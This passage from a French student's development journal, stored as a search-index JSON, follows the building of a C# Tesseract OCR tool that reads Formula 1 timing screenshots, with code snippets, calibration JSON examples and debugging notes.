\u00e0 la reconnaissance des chiffres. Automatiser un syst\u00e8me de test de la sorte me sera tr\u00e8s utile dans le futur pour v\u00e9rifier la non regression de ma reconnaissance de texte quand je tenterai d'y faire des changements. Je suis toujours curieux cependant de voir comment le programme se d\u00e9brouille avec les nombres de tours qui se trouvent dans les icones de pneus.","title":"Vendredi 31/03/2023"},{"location":"jdb.html#lundi-3-avril","text":"Aujourd'hui on va faire un programme qui permet de cr\u00e9er un dataset qui permette de tester le programme de reconnaissance. Je pense que le meilleur moyen de faire serait un programme qui cr\u00e9e le dataset et qui ensuite peut tester diff\u00e9rentes methodes de reconnaissance. Par la m\u00eame occasion je peux d\u00e9velopper la technologie qui va permettre de d\u00e9couper une image en 20 lignes ce qui me servira ensuite pour la reconnaissance. Je me rend compte que pour faire un programme de tests je dois d\u00e9ja avoir une id\u00e9e de la structure de mon programme. Pour le moment je r\u00e9flechis \u00e0 un syst\u00e8me de \"Zones\" et de \"Windows\". L'id\u00e9e serait que une Zone est juste une sous partie d'image qui peut encore \u00eatre d\u00e9compos\u00e9 tandis que chaque Window contient une ou plusieurs informations \u00e0 r\u00e9cup\u00e8rer. J'ai essay\u00e9 de d\u00e9couper l'image pour que cela soit plus clair : \"Main zone\" Ici on peut voir que l'image est d\u00e9coup\u00e9e en plusieurs grandes zones. Dans un premier temps on ne s'occupe que de la premi\u00e8re. Ensuite : \"Driver zone #1\" On peut voir la que cette Main zone serait elle m\u00eame d\u00e9compos\u00e9e en plusieurs plus petites zones. Et ensuite chacunes de ces petites zones : \"Driver windows\" Sera d\u00e9compos\u00e9e en plusieurs windows qui elles sont des zones qui contiennent de l'information. En gros on aurait trois types de zone : Les zones qui contiennent d'autres zones Les zones qui contiennent des Windows Les Windows Cependant en y r\u00e9flechissant on pourrait tout \u00e0 fait avoir seulement des zones et des windows en faisant en sorte que les windows peuvent avoir une liste de windows et une liste de zones. Une zone serait compos\u00e9e de : Une image de d\u00e9part Un rectangle qui la positionne sur cette derni\u00e8re Une liste de zones (potentiellement vide) Une liste de windows (potentiellement vide) Une methode qui permet de r\u00e9cup\u00e8rer une image de la zone Une methode qui permet de lancer la reconnaissance sur chaque window Une window serait compos\u00e9e de : Une image de d\u00e9part (cela peut \u00eatre l'image crop\u00e9e de la zone parente peu importe) Un rectangle qui la positionne sur cette derni\u00e8re Une methode qui permet de r\u00e9cup\u00e9rer un image de la window Une methode qui permet de lancer la reconnaisance sur l'image (Chaque type de zone doit l'impl\u00e9menter) Dans chaque window on peut imaginer que la methode qui fait la reconnaissance au lieu de retourner un objet qui peut contenir nimporte quel type d'information peut envoyer ce qu'elle vient de r\u00e9cup\u00e8rer dans une base de donn\u00e9e ou un objet. Par exemple une Zone de pilote pourrait tr\u00e8s bien contenir un objet pilote et le donner \u00e0 ses windows qui rempliraient ce m\u00eame objet. C'est une reflexion plus stockage que OCR mais c'est int\u00e9ressant pour savoir ce que fait une window des donn\u00e9es qu'elle r\u00e9cup\u00e8re. Dans un premier temps je pense que les windows vont simplement \u00e9crire dans un fichier ce qu'elles trouvent chacunes dans le format qu'elles veulent. Pour comprendre pourquoi je me prend la t\u00eate il faut savoir que chaque window peut avoir acc\u00e8s \u00e0 pleins d'informations diff\u00e9rentes. On pourrait dire qu'elles retournent toutes une string sauf que si ca marche pour un temps au tour ou pour un nom de pilote, cela ne marche pas forc\u00e9ment pour un type de pneu ou un DRS ouver. Comme chaque window a plusieurs types de data elle devra elle m\u00eame se charger de comment la traiter ET de la stocker. Voila un diagramme qui r\u00e9sume comment je vois l'impl\u00e9mentation dans un premier temps : \"Diagramme d'explications\" Voici comment se pr\u00e9sente le squellette d'une Zone : public class Zone { private Bitmap FullImage ; private List < Zone > Zones ; private List < Window > Windows ; private Rectangle _bounds ; public Rectangle Bounds { get => _bounds ; private set => _bounds = value ; } public Bitmap ZoneImage { get { Bitmap sample = new Bitmap ( Bounds . Width , Bounds . Height ); Graphics g = Graphics . FromImage ( sample ); g . DrawImage ( FullImage , new Rectangle ( 0 , 0 , sample . Width , sample . Height ), Bounds , GraphicsUnit . Pixel ); return sample ; } } public Zone ( Image fullImage , Rectangle bounds ) { FullImage = ( Bitmap ) fullImage ; Init ( bounds ); } public Zone ( Bitmap fullImage , Rectangle bounds ) { FullImage = fullImage ; Init ( bounds ); } private void Init ( Rectangle bounds ) { Bounds = bounds ; Zones = new List < Zone >(); Windows = new List < Window >(); } public void AddZone ( Rectangle bounds ) { if ( Fits ( bounds )) Zones . Add ( new Zone ( ZoneImage , bounds )); } public void AddWindow ( Rectangle bounds ) { if ( Fits ( bounds )) Windows . Add ( new Window ( ZoneImage , bounds )); } private bool Fits ( Rectangle inputRectangle ) { if ( inputRectangle . X + inputRectangle . Width > Bounds . Width || inputRectangle . Y + inputRectangle . Height > Bounds . Height || inputRectangle . X < 0 || inputRectangle . Y < 0 ) { return false ; } else { return true ; } } } Le but est ensuite de cr\u00e9er diff\u00e9rent types de Zones. Par exemple la MainZone devra d\u00e9couper son contenu en 20 parties \u00e9gales pour tenter de chopper les 20 pilotes. Il serait cool de trouver un moyen de calibrer automatiquement. C'est peut-\u00eatre possible de calibrer avec de la reconnaissance de texte, on peut essayer de lancer la reconnaissance et voir ou on trouve du texte avec un peu de chance cela pourrait donner les positions et avec ca on peut peut-\u00eatre determiner des lignes. Et voici le squelette d'une window g\u00e9n\u00e9rique using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Drawing ; namespace OCR_tester { public class Window { private Bitmap FullImage ; private Rectangle _bounds ; public Rectangle Bounds { get => _bounds ; private set => _bounds = value ; } public Bitmap WindowImage { get { Bitmap sample = new Bitmap ( Bounds . Width , Bounds . Height ); Graphics g = Graphics . FromImage ( sample ); g . DrawImage ( FullImage , new Rectangle ( 0 , 0 , sample . Width , sample . Height ), Bounds , GraphicsUnit . Pixel ); return sample ; } } public Window ( Bitmap fullImage , Rectangle bounds ) { FullImage = fullImage ; Bounds = bounds ; } public virtual void RecoverInformations () { //Each Window type will have to implement its own way to recover the informations stored in the Window Image } } } Chaque Window pourra ainsi elle m\u00eame impl\u00e9menter la r\u00e9cup\u00e8ration d'informations. La facon de les retourner/stocker est encore un peu floue. Par exemple pour un temps au tour on peut imaginer que il fait une petite v\u00e9rification dans l'objet pilote et dans le tableau des tours si il n'y a pas deja une valeur et si il n'y en a pas une alors il peut l'ajouter. Maintenant je vais essayer de cr\u00e9er une Main window qui se calibre toute seule. Alors apr\u00e8s avoir bien gal\u00e8r\u00e9 avec l'interface pour permettre au user de cliquer sur la form pour voir les zones qu'il cr\u00e9e, j'ai pu cr\u00e9er un zone qui fait les dimensions de MainZone et j'ai pu lancer la reconnaissance sur l'image et voir ou il trouve du texte : \"MainZone avec carr\u00e9s de texte\" Maintenant il faut que je nettoie la liste de rectangle pour exclure ceux qui sont trop grands pour \u00eatre sur une seule ligne, ceux qui indiquent le nombre de tour en haut et ceux qui n'ont pas d'int\u00e9r\u00eats. On pourra ensuite isoler les lignes et cr\u00e9er une liste d'images. Pour ce qui est de la ligne qui contient les \"Gap interval last lap\" et des chiffres sur les tours pour les pneus etc je vais juste demander \u00e0 l'utilisateur de ne pas les prendre dans la screenshot. Comme ils contiennent des mots qui peuvent \u00eatre utilis\u00e9s plus loin dans les data je ne peux pas les blacklister et faire un syst\u00e8me qui s'occupe de les enlever si ils existent selon le position y me prendrait trop de temps pour rien. Apr\u00e8s avoir filtr\u00e9 un peu les resultats et enlev\u00e9 les zones beaucoup trop grandes, on se retrouve d\u00e9ja plus qu'avec ca : \"MainZone avec de meilleurs carr\u00e9s\" Comme on peut le voir, du c\u00f4t\u00e9 gauche de l'image on a beaucoup de choses reconnues mais avec beaucoup de tailles diff\u00e9rentes ce qui n'est pas id\u00e9al. Alors j'ajoute un filtre qui permet de ne selectionner que les data sur la droite. \"MainZone avec de meilleurs carr\u00e9s\" Maintenant il devrait \u00eatre possible de faire un algorythme qui ne prend que un seul carr\u00e9 par ligne. \"MainZone avec un seul carr\u00e9 par ligne\" Maintenant que on sait ou se trouve chaque ligne on peut faire un petit traitement et d\u00e9couper l'image en plusieurs windows. Et voila : \"Mainzone auto calibr\u00e9e\" Maintenant le programme peut cr\u00e9er des zones pour chaque pilote \"Images pilotes\" \"Zone d'un pilote\" Maintenant il faut que j'impl\u00e9mente un syst\u00e8me un peu similaire pour cr\u00e9er des windows. Voici la methode que j'ai cr\u00e9\u00e9 pour l'autocalibration : public void AutoCalibrate () { List < Rectangle > detectedText = new List < Rectangle >(); Zones = new List < Zone >(); TesseractEngine engine = new TesseractEngine ( Window . tessDataFolder . FullName , \"eng\" , EngineMode . Default ); Image image = ZoneImage ; var tessImage = Pix . LoadFromMemory ( Window . ImageToByte ( image )); Page page = engine . Process ( tessImage ); using ( var iter = page . GetIterator ()) { iter . Begin (); do { Rect boundingBox ; if ( iter . TryGetBoundingBox ( PageIteratorLevel . Word , out boundingBox )) { //var text = iter.GetText(PageIteratorLevel.Word).ToUpper(); //We remove all the rectangles that are definitely too big if ( boundingBox . Height < image . Height / NUMBER_OF_DRIVERS ) { //Now we add a filter to only get the boxes in the right because they are much more reliable in size if ( boundingBox . X1 > image . Width / 2 ) { //Now we check if an other square box has been found roughly in the same y axis bool match = false ; //The tolerance is roughly half the size that a window will be int tolerance = ( image . Height / NUMBER_OF_DRIVERS ) / 2 ; foreach ( Rectangle rect in detectedText ) { if ( rect . Y > boundingBox . Y1 - tolerance && rect . Y < boundingBox . Y1 + tolerance ) { //There already is a rectangle in this line match = true ; } } //if nothing matched we can add it if (! match ) detectedText . Add ( new Rectangle ( boundingBox . X1 , boundingBox . Y1 , boundingBox . Width , boundingBox . Height )); } } } } while ( iter . Next ( PageIteratorLevel . Word )); } foreach ( Rectangle Rectangle in detectedText ) { Rectangle windowRectangle ; Size windowSize = new Size ( image . Width , image . Height / NUMBER_OF_DRIVERS ); Point windowLocation = new Point ( 0 , ( Rectangle . Y + Rectangle . Height / 2 ) - windowSize . Height / 2 ); windowRectangle = new Rectangle ( windowLocation , windowSize ); Zones . Add ( new Zone ( ZoneImage , windowRectangle )); } } Ca peut paraitre pas \u00e9norme comme code mais pour tout mettre en place ca demande quand m\u00eame pas mal de reflexion. J'ai du clean un peu le code que j'avais fait pour permettre la selection de zones et ajouter la possibilit\u00e9 d'ajouter des windows sur une zone. J'ai juste quelques difficult\u00e9es \u00e0 les ajouter correctement, j'ai un offset tout pourri qui se met tout le temps \"Sainz coup\u00e9\" \"Perez coup\u00e9\" Cela doit \u00eatre un soucis lors de la detection de clic qui met un offset en trop. C'est vraiment p\u00e9nible en tout cas. Certes c'est moins fun de devoir manuellement indiquer ou sont les windows sur une ligne de pilote, mais je ne vois vraiment pas comment faire cela automatiquement. Le but c'est de faire une configuration qui puisse \u00eatre sauvegard\u00e9e comme ca pas besoin d'\u00e0 chaques fois le refaire. C'est bon ! J'avais juste oubli\u00e9 de changer le calcul d'offset entre le code de la zone et de la window. Note pour plus tard, il serait peut-\u00eatre judicieux de faire quelque chose pour la vue, les windows et les Zones ont le m\u00eame exact comportement pour la vue ce qui fait dupliquer du code. Mais au moins maintenant ca fonctionne : \"Ocr tester screenshot\" Et le programme va directement cr\u00e9er un dossier par pilote avec toutes les images de chaque Data le concernant : \"Dossier Perez\" ; Et c'est tout pour aujourd'hui je pense. Ce qui serait cool demain c'est que je puisse stocker d'une mani\u00e8re ou d'une autre ces fichiers de calibration et que je puisse les transf\u00e8rer vers le programme qui va s'occuper de d\u00e9coder et commencer gentillement \u00e0 d\u00e9coder les diff\u00e9rents types de data. Note pour quand je ferai les tests. Je pense que la meilleure id\u00e9e serait que je prenne pleins de photos du style et que je les mette dans un fichier CSV ou JSON avec leur contenu. Et ensuite je le fais passer en tests pour calculer la prescision de mon algo de d\u00e9codage. Pour le moment on est plut\u00f4t dans les clouts niveau planning.","title":"Lundi 3 Avril"},{"location":"jdb.html#mardi-4-avril","text":"Aujourd'hui je suis scens\u00e9 plut\u00f4t bosser sur l'interpretation des donn\u00e9es, mais une id\u00e9e m'a taraud\u00e9 l'esprit toute la nuit. Est-ce que je ne pourrais pas quand m\u00eame essayer de d\u00e9composer la zone de pilote directment comme pour la Main zone. Pour ce faire j'ai tent\u00e9 de faire comme pour la main zone c'est \u00e0 dire lancer la reconnaissance pour savoir ou \u00e9taient tous les champs de donn\u00e9es mais malheureusement je ne pense pas que cela va \u00eatre possible. En effet non seulement ici les champs sont de tailles tr\u00e8s vari\u00e9es, mais en plus la reconnaissance n'arrive pas \u00e0 en r\u00e9cup\u00e8rer le m\u00eame nombre sur chaque ligne ce qui risque d'\u00eatre complexe \u00e0 utiliser ensuite. La preuve : \"Tentative d'auto calibration\" ; Cependant tout n'est pas perdu ! Il y a peut-\u00eatre un moyen qui serait mieux en tous points. Le soucis avec ce type de reconnaissance c'est qu'on utilise beaucoup de ressources inutiles. On peut peut-\u00eatre hard coder la valeur des diviseurs et les utiliser pour cr\u00e9er des zones. Ok alors visiblement c'est un probl\u00e8me car il semble y avoir d'autres pixels de cette couleur dans l'image (Qui l'aurait cru lol) \"Tentative 2\" J'a tent\u00e9 de r\u00e9duire la tol\u00e9rance mais le soucis c'est que c'est soit trop soit pas assez Derni\u00e8re tentative, j'ai essay\u00e9 de prendre plusieurs pixels en hauteur pour chaque incr\u00e9ment de X et en faire la moyenne, et m\u00eame comme ca, impossible de trouver de mani\u00e8re efficace les zones. Je pense que je vais donc revert tous mes changements pour revenir \u00e0 la version ou on les choisissait manuellement. Pas mal de temps perdu mais bon c'est comme ca ca arrive Bon j'ai fait un revert mais j'ai ajout\u00e9 une feature importante. Les zones font la largeur indiqu\u00e9e par l'utilisateur mais elles font la hauteur max comme ca toutes les window font la m\u00eame hauteur et ca permet \u00e0 l'utilisateur de ne pas forc\u00e9ment \u00eatre ultra pr\u00e9cis dans sa selection. Ce qui nous donne : \"Resultat final\" Maintenant je dirais que les deux prochaines choses \u00e0 faire seraient de stocker ces zones dans un fichier JSON ou autre pour que la calibration puisse \u00eatre envoy\u00e9e directement dans le logiciel de reconnaissance et ensuite de faire une calibration sur des images qui font la taille qu'on aura pendant les Grands Prix. Pour le moment elles sont au format 16:10 qui est le format d'\u00e9crant de mon laptop. Pour le stockage j'imagine un fichier qui donne des indications assez simples qui permettent de reconstruire le total des zones quand il est import\u00e9 plutot que d'\u00e9crire les coordonn\u00e9es en dur pour chacunes. Chaque Grande zone va impl\u00e9menter une methode qui s'occupe de mettre tous ses enfants dans un fichier. { \"MainZone\" :{ \"x\" : 10 , \"y\" : 20 , \"width\" : 1450 , \"height\" : 1340 , \"DriverZone\" :{ \"x\" : 0 , \"y\" : 23 , \"height\" : 25 , \"Windows\" :[ { \"DriverPositionWindow\" :{ \"x\" : 0 , \"y\" : 0 , \"width\" : 35 } }, { \"DriverPositionChangesWindow\" :{ \"x\" : 0 , \"y\" : 0 , \"width\" : 45 } } ] } } } C'est le r\u00e9sultat auquel j'aimerais arriver. Mais pour y arriver il faut encore que je cr\u00e9e les diff\u00e9rents types de window. Cela veut dire que je dois d\u00e9cider quelles informations je vais r\u00e9cup\u00e8rer de la page. Par exemple je vais conserver la position du pilote mais au final les changements de positions sont difficiles \u00e0 lire et sont redondants. Si je garde un historique des positions des pilotes je peux calculer moi m\u00eame les changements. Pareil pour gap avec la voiture devant. Je pense que je vais juste garder l'information des \u00e9carts absolus et ensuite je pourrai toujours calculer la diff\u00e9rence entre les pilotes. Ca peut para\u00eetre b\u00eate car cela rajoute du calcul mais en r\u00e9alit\u00e9 le calcul de l'OCR est extr\u00eamement gourmand alors il faut que j'\u00e9vite le plus possible d'y faire recours. Il est bien plus rapide de calculer les \u00e9carts que d'essayer de reconnaitre le texte et le convertir en chiffre. J'ai visiblement ajout\u00e9 un bug dans mon code. Maintenant tous les pilotes ont la m\u00eame image quand on les selectionne. Mais visiblement ca n'\u00e9tait pas le cas avant car j'avais pu prendres des images de chaque pilote. J'ai pass\u00e9 3 minutes \u00e0 fixer un bug stupide j'ai un peu envie de br\u00fbler ma place de travail... Mais bon au moins maintenant cela fonctionne ! Toutes les images sont r\u00e9cup\u00e8r\u00e9es et ont un format correct avec le bon nom : \"Verstappen folder\" Avec un peu de code tr\u00e8s moche j'ai pu cr\u00e9er un fichier JSON qui contient les diff\u00e9rentes infos. Cependant en exportant TOUT on se retrouve avec un fichier de 1200 lignes ce qui n'est pas optimal. Mais quand on regarde, il devrait \u00eatre possible de faire un fichier qui ne contient que les infos d'un seul pilote car ensuite il y a simplement un offset \u00e0 appliquer sur la zone et les windows. Je vais donc pouvoir commencer enfin le logiciel de d\u00e9codage qui prend en entr\u00e9e un fichier JSON comme celui ci qui a \u00e9t\u00e9 g\u00e9n\u00e8r\u00e9 avec le programme de calibration. { \"Main\" : { \"x\" : 40 , \"y\" : 230 , \"width\" : 1845 , \"height\" : 719 , \"Zones\" : [ { \"DriverZone\" : { \"x\" : 0 , \"y\" : 3 , \"width\" : 1845 , \"height\" : 35 , \"Windows\" : [ { \"Position\" : { \"x\" : 2 , \"y\" : 0 , \"width\" : 32 }, \"GapToLeader\" : { \"x\" : 204 , \"y\" : 0 , \"width\" : 96 }, \"LapTime\" : { \"x\" : 413 , \"y\" : 0 , \"width\" : 105 }, \"Drs\" : { \"x\" : 526 , \"y\" : 0 , \"width\" : 81 }, e t c... } ] } } ] } } Dans le futur il faudrait ajouter d'autres choses comme par exemple les diff\u00e9rents pilotes pr\u00e9sents sur le Grand Prix et ce genre d'infos. Quoique je vais l'ajouter d\u00e9ja maintenant et plus tard je mettrai en place la feature acessible depuis l'interface. Mais le hardcoder maintenant me permet d\u00e9ja de mieux coder l'autre c\u00f4t\u00e9. Ce programme n'est en aucun cas termin\u00e9 et je vais devoir travailler encore un peu dessus pour qu'il soit utilisable correctement mais au moins il fonctionne \u00e0 peu pr\u00e8s. Exemple du json avec les noms de pilotes: { \"Main\" : { \"x\" : 37 , \"y\" : 238 , \"width\" : 1851 , \"height\" : 713 , \"Zones\" : [ { \"DriverZone\" : { \"x\" : 0 , \"y\" : -5 , \"width\" : 1851 , \"height\" : 35 } } ] }, \"Drivers\" : [ \"Leclerc\" , \"Verstappen\" , e t c... ] } Maintenant je vais m'attaquer au d\u00e9codage. Demain je dois finir le d\u00e9codage du JSON et je dois commencer \u00e0 impl\u00e9menter la reconnaissance des textes. Voire m\u00eame des pneus etc si j'y arrive.","title":"Mardi 4 Avril"},{"location":"jdb.html#mercredi-5-avril","text":"Bon la il faut vraiment que je finisse assez vite la lecture du JSON et la reconstruction des zones pour commencer la reconnaissance. J'ai pris beaucoup de temps \u00e0 faire le programme de calibration mais je pense que c'est essentiel de prendre ce temps maintenant. (BTW il faudra quand m\u00eame retourner faire une plus jolie version par ce que la ca marche mais c'est tout) Bon apr\u00e8s pas mal de boulot je pense avoir r\u00e9ussi. Dans le nouveau programme on arrive \u00e0 r\u00e9cup\u00e8rer les diff\u00e9rentes zones : \"JSON decode result\" Un conseil de notre professeur M.Bonvin a \u00e9t\u00e9 de cr\u00e9er des Releases de versions qui ne fonctionnent pas ou pas tr\u00e8s bien. J'ai donc publi\u00e9 une premi\u00e8re release de l'OCR_TEST qui fonctionne vite fait. J'ai seulement un petit soucis, comme je recr\u00e9e compl\u00eatement la structure des driver zones avec seulement la premi\u00e8re, il y a un petit d\u00e9calage car entre les zones il y avait un gap. Ce qui fait que si la premi\u00e8re zone est parfaitement centr\u00e9e : \"Centered driver\" La vingti\u00e8me ne l'est plus exactement : \"Uncentered Driver\" Pour ca j'ai essay\u00e9 de mettre un espacement arbitraire mais c'est complexe. Je vais plut\u00f4t tenter de faire une diff\u00e9rence entre la taille de la zone compl\u00eate et de la taille additionn\u00e9e de toutes les fen\u00eatre et diviser le resultat entre toutes les fen\u00eatres. Ca n'est pas parfait mais au moins maintenant les donn\u00e9es ne touchent plus les bords de la fen\u00eatre. Et voila ! Maintenant avec le fichier de configuration en Json on arrive \u00e0 r\u00e9cup\u00e8rer toutes les infos comme si elles avaient \u00e9t\u00e9 envoy\u00e9es directement depuis l'app de calibration mais sans le processing time ! \"Verstappen folder 2 On peut donc ENFIN passer au d\u00e9codage de ces FICHUES donn\u00e9es. Je vais pouvoir impl\u00e9menter ce que j'ai fait dans le projet de test de d\u00e9codage. Gr\u00e2ce \u00e0 mon d\u00e9coupage initial qui m'a pris du temps \u00e0 impl\u00e9menter on a enfin un truc qui marche m\u00eame si je n'ai impl\u00e9ment\u00e9 que la reconnaissance de noms. \"Image reconnaissance propre\" Si on se rappelle du syst\u00e8me de window et de zones dans le diagramme plus haut, c'est assez facile de comprendre comment je m'y suis pris. En gros on des listes et des listes de listes de zones, c'est la partie un peu plus technique car il y a des zones qui peuvent contenir d'autres zones etc. Je vais commencer par la reconnaissance de noms. Voici le tableau de pilotes de 2023 \"Drivers\" : [ \"Leclerc\" , \"Verstappen\" , \"Hamilton\" , \"Alonso\" , \"Russel\" , \"Gasly\" , \"Stroll\" , \"Sainz\" , \"Hulkenberg\" , \"Norris\" , \"Tsunoda\" , \"Piastri\" , \"Zhou\" , \"Ocon\" , \"Magnussen\" , \"Perez\" , \"Sargeant\" , \"De Vries\" , \"Bottas\" , \"Albon\" ] ET voici le tableau de pilotes de 2022 : \"Drivers\" : [ \"Leclerc\" , \"Verstappen\" , \"Sainz\" , \"Perez\" , \"Hamilton\" , \"Russel\" , \"Magnussen\" , \"Gasly\" , \"Ocon\" , \"Alonso\" , \"Tsunoda\" , \"Bottas\" , \"Zhou\" , \"Albon\" , \"Stroll\" , \"Schumacher\" , \"Hulkenberg\" , \"Norris\" , \"Latifi\" , \"Ricciardo\" ] Je les notes ici car J'ai souvent besoin de changer selon le dataset que j'utilise. Dans le futur je ferai s\u00fbrement un grand dataset qui prend des pilotes de reserves et des pilotes juniors pour que dans le cas ou un pilote est remplac\u00e9 dans l'ann\u00e9e il n'y a pas besoin de tout recalibrer avec l'application. Apr\u00e8s une discussion avec M.Bonvin j'ai d\u00e9cid\u00e9 de tester 3 valeurs de convertion en noir et blanc et si je ne trouve pas un match exact je prend le nom le plus proche. Pour trouver la string la plus proche je pense que je vais utiliser quelque chose qui s'appelle la technique de Levenshtein. De ce que j'ai compris c'est un algorythme qui permet de donner une metric de diff\u00e9rence entre deux strings. Bon et \u00e9videmment il ne faut pas se tromper dans la liste des pilotes GENRE NE PAS OUBLIER QUE GEORGE RUSSELL COMPORTE DEUX WFNEWIEWV DE \"L\" A LA FIN DE SON NOM CE QUI POURRAIT ENGRANGER 2H DE DEBUGGING POUR RIEN ASK ME HOW I KNOW joker laugh J'ai vraiment un soucis avec Tsunoda, Il a trop tendeance \u00e0 le confondre avec \"TSUNDDA\" et pour des raisons obscures, quand j'applique l'algorythme de Levenshtein le plus proche n'est pas \"Tsunoda\" mais \"Sainz\" iniuvbwdiucbiubisc POURQUOI !!??!! Je pense que cela demande moins de changements de lettres enfin bon c'est quand m\u00eame pas id\u00e9al. Il va falloir que je trouve un moyen de le repond\u00e9rer. C'est dommage par ce que cela marche super avec Alonso Verstappen et Albon. J'ai un peu modifi\u00e9 la methode et j'ai fait en sorte d'envoyer tous les noms en majuscules en me disant que cela pourrait r\u00e9duire le nombre de changements. Et ca a march\u00e9 !! Cela va s\u00fbrement demander plus de tests pour \u00eatre bien s\u00fbr que tout fonctionne nikel, cependant pour le moment ca marche parfaitement avec les pilotes de 2022. Pour ce qui est de la reconnaissance de chiffres, j'ai d\u00e9ja fait une partie du boulot le premier jour alors je vais juste reprendre \u00e0 partir de l\u00e0. Je r\u00e9cup\u00e8re une string de ce type \"1:35.123\" le soucis c'est que les : se transforment parfois en . ou inversement mais bon ca devrait pas \u00eatre trop dur \u00e0 g\u00e8rer. Il faut que je transforme cette string en nombre de milisecondes (Du moins je pense que c'est le meilleur moyen pour ensuite pouvoir facilement comparer et stocker l'information). Cela fait que 1:35:123 en milisecondes donne : 1 * 1000 * 60 => 60'000 35 * 1000 => 35'000 123 => 123 Total : 60'000+35'000+123 => 95'123ms Et pour l'affichage : Minutes = ms / 60'000 secondes = (ms - (minutes/60'000))/1000 ms = ms - ((minutes 60'000) + (secondes * 1000)) Et on se retrouve avec 1:35:123 Maintenant apr\u00e8s un peu de temps pour nettoyer la string etc on se retrouve avec un r\u00e9sultat comme le suivant : Position : 0 Gap to leader : 0:0:0 Lap time : 2:15:123 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : LECLERC Sector 1 : 0:31:323 Sector 2 : 0:42:340 Sector 3 : 0:0:0 Evidemment pareil pour les autres pilotes Et je me rend compte que j'ai encore tout cass\u00e9 car le laptime ne devrait pas \u00eatre 2:15 mais 1:35... Voila apr\u00e8s une heure de debugging et des ajouts pour nettoyer les chaines on se retrouve avec : Position : 0 Gap to leader : 0:0:0 Lap time : 1:35:123 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : LECLERC Sector 1 : 0:31:323 Sector 2 : 0:42:340 Sector 3 : 0:0:0 Note: le traitement commence \u00e0 devenir long, il serait peut-\u00eatre int\u00e9ressant d'utiliser un seul Tesseract Engine ou de voir ce qui prend autant de temps, on d\u00e9passe la seconde de traitement ce qui est un peu ma limite. Apr\u00e8s on peut toujours tester de rajouter du multicore processing mais c'est pour une autre fois. Demain je m'occupe de r\u00e8gler les soucis que j'ai avec la prescision de ces temps au tour et j'\u00e9sp\u00e8re pouvoir m'occuper aussi de la position des pneus et du DRS. J'aimerais finir tout ca cette semaine.","title":"Mercredi 5 Avril"},{"location":"jdb.html#jeudi-6-avril","text":"Une id\u00e9e m'est pass\u00e9e par la t\u00eate pendant que je dormais, dans la liste des pilotes, quand ils sont \u00e0 plus d'un tour de retard avec le leader (Ce qui arrive normalement dans presque tous les Grand Prix) on a pas des minutes mais une string qui montre \"+1 Lap\" ou \"+2Laps\" ce qui est \u00e9videmment un probl\u00e8me. Je pense qu'une bonne facon d'envoyer l'info serait de retourner -1 -2etc... \u00e0 la place des milisecondes, mais encore faut-il detecter le nombre de tours Je devrais \u00eatre en train de commencer la documentation de commment tout ce que j'ai fait fonctionne. Cependant je ne me vois pas faire ca tant que je n'ai pas au moins r\u00e9cup\u00e8r\u00e9 toutes les infos au moins un peu proprement. Cela veut dire que je commence officiellement \u00e0 prendre du retard. (Sachant que si je finis tout aujourd'hui une journ\u00e9e de doc suffira largement le terme est un peu exag\u00e8r\u00e9 mais bon) Bon pour la reconnaissance des temps c'est sp\u00e9cial... Le filtre semble ne pas changer grand chose ce qui est probl\u00e9matique et ca n'est vraiment pas fiable. Voici quelques expemples avec un treshold de 100: \"11ZSD\" Cette image est comprise comme \"11ZSD\" 42340 Cette image est comprise comme \"42340\" \"ZZAEB\" Et celle ci \"ZZAEB\"... Ce qui... n'est pas bon du tout... J'ai essay\u00e9 de trouver un fichier d'entrainement sp\u00e9cifiquement fait pour les digits. J'ai essay\u00e9 de blacklister les chars non voulus pour tenter d'obliger Tesseract \u00e0 trouver des chiffres. Avec la premi\u00e8re option, les r\u00e9sultats ne sont pas meilleurs voire pires. Avec la seconde option c'est d\u00e9ja pas mal mieux mais on perd compl\u00e8tement la possibilit\u00e9 de detecter les mots comme \"LEADER\" ou \"LAP\" et de toute facon ca n'est pas parfait. Le soucis c'est que si je n'ai pas des donn\u00e9es fiables c'est juste impossible de faire des calculs et de l'affichage correct... Il faut absolument que je trouve une solution. J'ai essay\u00e9 d'utiliser de l'interpolation our augmenter la taille de l'image et ensuite appliquer mon filtre pour retirer le flou mais sans succ\u00e8s... Pourtant la on se retrouve avec des images plut\u00f4t claires : \"Clear1\" Ici le programme trouve \"44301\" \"Clear2\" Et ici \"A5151\"... On a toujours les m\u00eames probl\u00e8mes. Bon je suis all\u00e9 me renseigner sur l'OCR et je me suis dit que j'allais tenter de faire les choses proprement. Je vais faire passer plusieurs \u00e9tapes de postProcessing avant de donner l'image \u00e0 Tesseract. GrayScale Tresholding InvertColors Scaling Dilatation Ce qui donne : \"Original\" \"Grayscale\" \"InvertColors\" ; \"Resize\" ; \"Dilatation\" Ce qui ne change : Roulement de tambour RIEN kjd viuwvuirnvoirenbf Tout ca pour rien... C'EST BON !!! Bon en fait au final le probl\u00e8me \u00e9tait une mauvaise configuration de Tesseract. Je vais devoir un peu nettoyer tout ca. Mais avec les changements de l'image on a des r\u00e9sultats BEAUCOUP plus pr\u00e9cis et potentiellement utilisables. La je vais devoir faire un serieux travail de nettoyage et simplification de mon code par ce que la c'est vraiment un chantier vu le nombre de choses que j'ai du essayer. J'ai du aussi beaucoup modifier la gestion de l'image ce qui donne : \"Clean\" Et la on a des r\u00e9sultats qui sont vraiment bons. J'ai pu ajouter assez facilement la detection de position comme c'est simplement un chiffre. On se retrouve maintenant avec ce genre de retours : Position : 1 Gap to leader : 8:33:51 Lap time : 2:19:123 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : LECLERC Sector 1 : 0:31:828 Sector 2 : 0:42:940 Sector 3 : 0:0:0 Position : 2 Gap to leader : 0:3:259 Lap time : 23:12:392 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : VERSTAPPEN Sector 1 : 0:38:119 Sector 2 : 0:0:0 Sector 3 : 0:0:0 Il ne manque plus que l'impl\u00e9mentation de la reconnaissance du DRS et des Pneus Et non... je viens de me rendre compte que mon programme a encore cass\u00e9 car le tap time ne peut pas \u00eatre 23 min lol. J'ai un nouveau magnifique probl\u00e8me... Les points et les deux points sont interpr\u00eat\u00e9s comme des chiffres ... Give me a F * * break... J'ai du mal \u00e0 comprendre pourquoi ils ne sont d\u00e9tect\u00e9s comme tels que maintenant. Bon alors il semblerait les temps au tour aie besoin d'un ordre tr\u00e8s pr\u00e9cis pour fonctionner. Grayscale InvertColors Tresholding Resize * 2 Resize * 2 Et la on a 